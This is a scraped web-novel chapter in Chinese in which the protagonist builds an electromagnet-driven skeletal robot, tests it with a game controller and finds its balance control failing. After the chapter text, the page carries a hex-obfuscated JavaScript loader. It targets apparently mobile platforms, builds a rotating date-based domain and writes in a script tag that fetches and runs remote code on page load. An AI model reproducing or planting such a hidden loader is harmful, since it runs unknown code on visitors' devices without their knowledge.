返回第46章 动作  曾经心动Zzz首页

关灯 护眼     字体:

上一章 目录 下一章

按说罗平自己一个人制造机器人,涉及到很多复杂的零件加工,效率应该会慢很多。

不过事实恰好相反,住在工厂里的罗平把大部分时间投入进去,他的效率却比陆伟几个程序员高多了。

二零一三年元旦刚过去没几天,更改设计后的第一台机器人就组装完成了。

在别人看来,这完全是不可能的速度,对罗平来说,却一切都那么顺理成章。

这也是他买下这个小模具工厂,却只作为自己的手工作坊,不愿意雇人的原因,他感觉一个人工作更专心,可以心无旁骛投入进去,做事效率更高。

既然自己加工零件,按照罗平的习惯,当然不会只加工出一套,他是按照五台机器人的零件准备,组装好第一台,后面的四台只是多花点时间的事情。

机器人的主体当然是由一百多块金属骨骼组成,人体骨骼有二百多块,罗平没有完全模仿,不能活动的头部骨骼,胸骨、肋骨、胯骨等等骨骼都做成了整体,可以提供更强的稳定性。

活动的骨头通过硅胶材质连接,功能和人体的韧带差不多,中空设计的骨骼除了电磁铁和互相联动的钢丝以外,还有专门的线路通道,电磁铁需要的电源线、以后会增加的传感器线路都可以从里面通过。

整个组装好的机器人,像是一具钢丝串联起来的金属骷髅,电源模组和控制用单片机都安装在胸腔、腹腔内部。

本来罗平买了一套仿肌肉的硅胶外衣和头套,穿在金属骨骼外面,既有保护作用,看上去也没那么吓人,不过给机器人套上去后,发现机器骨骼没肉撑不起来,松松垮垮穿着不合适,他就把这层硅胶外皮脱了下来,决定下次找厂家认真开个模,这种假皮肤不适合机器人。

罗平将组装好的机器人从工作台上搬下来,站立着放到地上,按下启动开关。

机器人的控制程序他没有费太多心思,就是买了一套可编程的无线游戏手柄,把接收装置和机器人体内的控制单片机做了信号对接,单片机的控制程序就是用的陆伟他们的最新成果,正好实验一下到底行不行。

打开遥控器,轻轻推动摇杆向前,机器人身体晃了一下,没有做出别的反应,持续向前推动摇杆,终于机器人的身体猛地震了一下,似乎要抬起左腿,结果用力过猛,没有保持好平衡,哐当一声躺在了地上,左腿还在那里抬着,做出向前走的动作,然后右腿抬起向前走。

停下手柄动作,机器人也保持着右腿抬起的姿势不动了。

哭笑不得的罗平忍不住挠了挠头,感觉自己想的还是过于简单,单纯靠死板的编程控制机器人动作,即便是有陀螺仪的反馈信号,也来不及反应,看机器人的动作,反馈信号完全没起作用,它还不知道自己摔倒了。

罗平又反复试验几次,看看不同动作的反应,结果都是差不多,简单的手臂出拳还凑合,动作幅度稍微大一点就会失去平衡,哐当摔倒在地。

看来机器人光有硬件,软件跟不上也不行,控制程序看来一点不能偷懒,陆伟几个人暂时指望不上,他就尝试自己动手。

罗平自学过数控机床常用的g语言,那种程序语言相对简单,不涉及复杂的逻辑控制功能,陆伟编写的单片机控制程序使用的是有一定难度的c语言,他需要从零开始学起。

自从有了三次特殊的穿越经历后,罗平感觉除了那些关于未来的信息,自身不仅学习理解能力变强了,动手能力也提升不少,制造手表就是他的一次大胆尝试,所以他才有信心做一款与众不同的机器人。

网上关于编程的电子书有很多,他不急着自己写程序,通过学习基本的编程规则,对照陆伟几个人写出来的程序代码和注释去理解,琢磨他们的编程思路,看看有什么结构上的漏洞,能不能通过程序思路弥补当下的缺陷。

他不需要理解每一行代码的作用,只要能理解整体编程思路,部分代码的控制逻辑就行了,只实验了几次,他就知道整个控制程序还有很大问题。

计算机上模拟的验证环境太简单,很多实际情况罗平自己都没考虑到,陆伟他们更不可能通过程序完全模拟了。

程序通过控制不同骨骼内部的电磁铁通断电实现机器人动作,陆伟他们还是花了很多心思,通过测试电磁铁线圈电流和磁力变化曲线,写出了专门的控制函数,让电磁铁动作不那么猛烈,每一个动作几块骨头动作也写出一组组单独的动作函数。

游戏手柄上面一个简单的前进、后退、出拳、跳跃的操作,都要对应几十组不同动作函数组合使用,先后顺序,动作时间,循环次数等等,整个控制程序他们应该花了不少功夫。

不过,在罗平看来,这些还远远不够。

他设计的驱动核心是直流电磁铁,没有交变磁场,不用担心产生涡流,所以电磁铁的铁芯形状自由度很大。

为了更好的通用性,罗平根据行程把电磁铁线圈设计成了几种标准尺寸,行程大的骨头电磁铁都是多组线圈控制,确保有足够力量牵引骨骼动作。

尽管电磁铁只有通断电两种操作,可是动铁移动位置却不是只有左右或者上下两个顶端点位,而是可以在移动范围内任意一点停下,并且保持位置不动。

表现在机器人身上,就是可以保持任意姿势长时间不动。

这一点人类也可以做到,但是需要相应的肌肉持续发力,很消耗能量,罗平在电磁铁内部做了一个取巧的设计,电磁铁动铁只有在线圈通电的时候才能位移,线圈不通电的时候,动铁被卡死,这样就可以保持骨骼动作姿势的同时,不消耗多余的能量。

不过这样的设计也有弊端,就是机器人刚才实验表现出的状态,不管整体的结果,无论动作是否做到位,都严格按照指令执行,一旦失去平衡,就会保持姿势摔倒。

如何让机器人能感知自身状态,运动状态下保持身体平衡,这是程序结构设计的问题,还需要改进。

现在看来,机器人体内的电子陀螺仪的反馈信号完全没有起作用,更别说矫正动作姿势,保持身体平衡了。

可能这就是电脑模拟测试环境的弊端,默认都是理想化的条件,能把这些复杂的动作函数写出来,不管准确与否,陆伟他们已经很不容易了。

程序的复杂性超过罗平想象,几十万行的代码看的他头大,花了一下午的时间才简略的浏览一遍,只是明白了大概的思路,一些小问题他还可以尝试修改调试,让他大幅改进程序结构太有难度,专业问题交给专业的人,还是得交给陆伟他们解决。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");